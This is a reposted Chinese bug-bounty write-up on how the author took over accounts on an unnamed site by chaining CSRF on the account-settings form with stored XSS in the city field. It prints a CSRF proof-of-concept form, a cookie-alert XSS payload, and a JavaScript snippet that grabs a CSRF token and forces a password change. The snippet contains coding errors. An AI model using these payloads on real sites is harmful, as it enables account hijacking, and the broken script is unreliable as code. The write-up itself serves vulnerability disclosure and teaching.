实战 | 记一次CSRF+存储型XSS导致的账户接管漏洞挖掘
2023-5-16 10:5:42 Author: 寰宇卫士(查看原文) 阅读量:18 收藏

这篇文章是关于我在 hackerone 的 priv8 程序中发现的,我能够找到:

1. CSRF
2. XSS
3. XSS + CSRF = Account Takeover

我们首先将受影响的站点称为:目标网站

起初我开始打开网站并注册一个新用户并在这里和那里测试一些功能,然后是对我来说最重要和最有趣的部分之一,是“帐户信息/设置”部分的时候

首先我开始检查一些细节的变化并检查请求,然后我注意到没有标题控制任何东西或 CSRF 令牌或任何安全级别!

我很快生成了一个 CSRF PoC 并对其进行了测试:

<html>
  <!-- CSRF PoC - generated by Burp Suite Professional -->
  <body>
  <script>history.pushState('', '', '/')</script>
    <form action="https://www.target.com/?controller=account-service&action=update" method="POST">
      <input type="hidden" name="first&#95;name" value="sir" />
      <input type="hidden" name="last&#95;name" value="bugs" />
      <input type="hidden" name="organization" value="" />
      <input type="hidden" name="phone" value="" />
      <input type="hidden" name="address&#95;line&#95;1" value="" />
      <input type="hidden" name="address&#95;line&#95;2" value="" />
      <input type="hidden" name="city" value="mango" />
      <input type="hidden" name="zip" value="" />
      <input type="hidden" name="country" value="US" />
      <input type="hidden" name="state&#95;province" value="Other" />
      <input type="submit" value="Submit request" />
    </form>
  </body>
</html>

现在我开始尝试更改密码!我真的很高兴,因为我没有看到对当前密码的任何要求!!

它只是需要密码+确认密码

我也尝试使用我的 CSRF 来更改密码!

更改密码请求中使用了一个 csrf 令牌。

然后在这里,我注意到一些奇怪的东西,当我尝试但是输入中的“'()<>和其他字符时!但那是什么?在我将城市设置为:**mango”'>** 

我注意到以下内容!

我尝试将城市设置为:mango”><script>alert(document.cookie)</script> 太好了,没有任何编码保护请求。

我创建了一个 js 代码并将其上传到我的网站,然后使用 mango”> 作为payload

该js文件包含什么?

<script>var req = new XMLHttpRequest();
req.onload = handleResponse;
req.open(‘get’,’/account-details’,true);
req.send();
function handleResponse() {
var token = this.responseText.match(/name=”csrf-passwd” value=”(\w+)”/)[1];
};
var http = new XMLHttpRequest();
http.open("POST", "/change-password", true);
http.setRequestHeader("Content-type", "application/x-www-form-urlencoded");
http.onreadystatechange = function() {
  if (this.readyState == 4 && this.status == 200) {
    document.getElementById("content").innerHTML = this.responseText;
  }
};
http.send("password=123123&confirm_password=123123&csrf_token="+var);
</script>

我现在可以使用CSRF+XSS漏洞完全控制帐户。

原文来自「HACK学习呀」|侵删

中电运行是专业专注培养能源企业IT工匠和提供IT整体解决方案的服务商,也是能源互联网安全专家。我们每天都会分享各种IT相关内容,如果您有任何关于IT疑问,欢迎给我们留言

小白必读!寰宇卫士手把手教你栈溢出(上)

手把手教你栈溢出(中)

手把手教你栈溢出(下)

《信息安全知识》之法律关键常识汇总

CTF经验分享|带你入门带你飞!


文章来源: http://mp.weixin.qq.com/s?__biz=MzIwMzU0NDY5OA==&mid=2247497133&idx=1&sn=2e72f35604b84306c6e502a07c4618b0&chksm=96cf74b8a1b8fdae8193213b1c1fe931c6b4542624969381b94a9053ae2d6ebbd3879c83ba19#rd
如有侵权请联系:admin#unsafe.sh